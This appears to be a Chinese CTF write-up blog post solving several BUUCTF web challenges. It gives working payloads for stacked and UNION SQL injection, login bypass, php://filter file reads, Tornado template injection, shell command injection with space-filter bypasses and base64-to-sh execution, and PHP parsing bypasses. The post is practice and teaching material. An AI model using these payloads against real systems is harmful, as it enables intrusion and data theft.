buuctf部分题目wp
EasySQL
①测试返回的页面状况特点类
发觉存在三种页面–>即返回为no的即为过滤掉的
②测试了下发觉show,select,;语句没有被过滤
from类语句被过滤掉了
即可以考虑是否是堆叠注入
测试了几个
1;select database();
1;show databases;
1;show tables;
找到了名字为Flag的表
尝试直接利用*直接注入返回出
发觉也没有办法返回出
无奈查大佬们的wp
发觉后台的查询语句可能是这样的,即*|跟其代用时,会直接被注释掉
sql = "select $_POST['query'] | col_xxx from table_xxx";
于是构造
*,1(使1和|做逻辑运算)
从而爆出flag
极客大挑战EasySQL
嗯。。。这题我是很迷的
我直接进去反手一个万能密码 然后就进去了,就拿到flag了
极客大挑战 2019 Havefun
进入网页
然后查看源码
然后直接构造一下参数即得到flag
[极客大挑战 2019]Secret File
查看源码发觉一些跳转
然后经过抓包类后发觉一个secr3t.php文件
然后分析
呸
看到file与include,直接伪协议读取文件走人
file=php://filter/convert.base64-encode/resource=flag.php
最后解密下,获得flag
[ACTF2020 新生赛]Include
看标题感觉又是跟伪协议相关的题
然后进去点击后发觉果然是
构造伪协议直接读取就完事
[护网杯 2018]easy_tornado
进入后发觉三个文件
第一个文件提示信息
welcome中提示提交
hints文件中提示md5加密状况特点类
思路大概有了
MD5一个文件hash值后进行提交参数进行读取flag
即将文件fllllllllllllag进行MD5加密
3bf9f6cf685a6dd8defadabfb41a03a1
然后在获取cookie_serect
本来最开始想直接抓取cookie值,但是发觉并没有
于是只能从这3个文件以及他们的hash值进行入手拿到cookie_serect值了
然后在这里卡了一下,实在找不到办法**cookie_serect的值
于是直接传文件名过去看看
发觉爆这个,且页面上和参数是一样,怀疑是模板注入
于是直接利用模板注入
传参–>
error?msg={{handler.settings}}
成功获取到cookie_secrete88c21a0-1cd1-4bbf-a0e8-202bd49569af
即完整的b4310a67dc7123c7d066d22983b39b2d
–>即filehash
最后构造payload即可成功获得flag
[极客大挑战 2019]LoveSQL
①反手一套万能密码弄进去
然后获取到了管理员的hash密码
但是试了下解不了密码
然后也没有flag啊
有意思
返回去看一看
好家伙,怀疑是存在数据库中的,就是防止万能密码这种情况
进行注入后发觉爆错爆在了password中 于是在password中进行注入
输入 1’
根据返回回来的错误发觉是字符型注入
然后使用联合注入
' union select 1,database(),3 #
发觉返回的是很奇怪的东西–>即注释#符号没有起到作用
后面发觉是该编码符号没有进行url编码导致的问题
将#改成%23即完成了效果
ok 成功可以进行注入了
所以就到了愉快的union注入时间了
最后获得到flag
flag{045996c1-1617-4ff4-b994-a79f4ab2070b}
总结:万能密码虽好,但是如果密码在数据库里面的话是没有灵魂的
[GXYCTF2019]Ping Ping Ping
打开后即发觉一个参数进行最开始随便传了几个值,发觉都在页面上显示
还以为是模板注入
后面发觉并不是这样的,只有传入的是数字之类的才显示其他的都显示固定的参数
所以排除模板注入
又因为题目给了ping这个提示,所以有点怀疑是rce命令执行
于是构造拼接命令进行查看文件
典型两种拼接命令模式第一种利用|进行拼接
–>如127.0.0.1|ls
第二种利用;直接进行拼接
如–>ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
三种典型的执行方式
#①命令执行变量拼接
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
#②过滤bash用sh执行
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
#③内联执行
将反引号内命令的输出作为输入执行
?ip=127.0.0.1;cat$IFS$9`ls`
127.0.0.1|ls
尝试直接读取flag
返回为空格被ban
即来到了绕空格的路上
$IFS
${IFS}//即{}可以改成$1
$IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
如构造payload?ip=127.0.0.1;cat$IFS$1index.php
三个过滤–>空格过滤,bash过滤,flag过滤
所以只能考虑利用sh通道执行了
于是构造payload
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
成功获得flag
[RoarCTF 2019]Easy Calc
进入页面后查看源码
好家伙
发觉这个制作这个环境的人很狂,然后也获得了这个算式的原理
即只能传入数字(如果传入的是字符,则会爆错状况特点)
可能考虑是利用数字进行绕进而获取到flag
但是基于考虑的想法–>还是去扫描了下目录,发觉确实没有什么好扫描的东西了
确定是这个思路了
就是绕这个判断从而获取到flag
于是去到了一个文件中–>即注意可以当文件中存在另外一个页面时,典型查看过去
发觉这个参数num疯狂被过滤玩不了,玩不下去了
查看大佬们的wp
发觉php文件的解析规程是
如果前面有空格会直接把空格去掉在进行解析
于是可以构造payload进行读取flag与目录
? num=1;var_dump(scandir(chr(47)))#读取目录
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
#即利用ASCII码进行绕读取目录状况特点类
最后获取到flag
会持续更新下去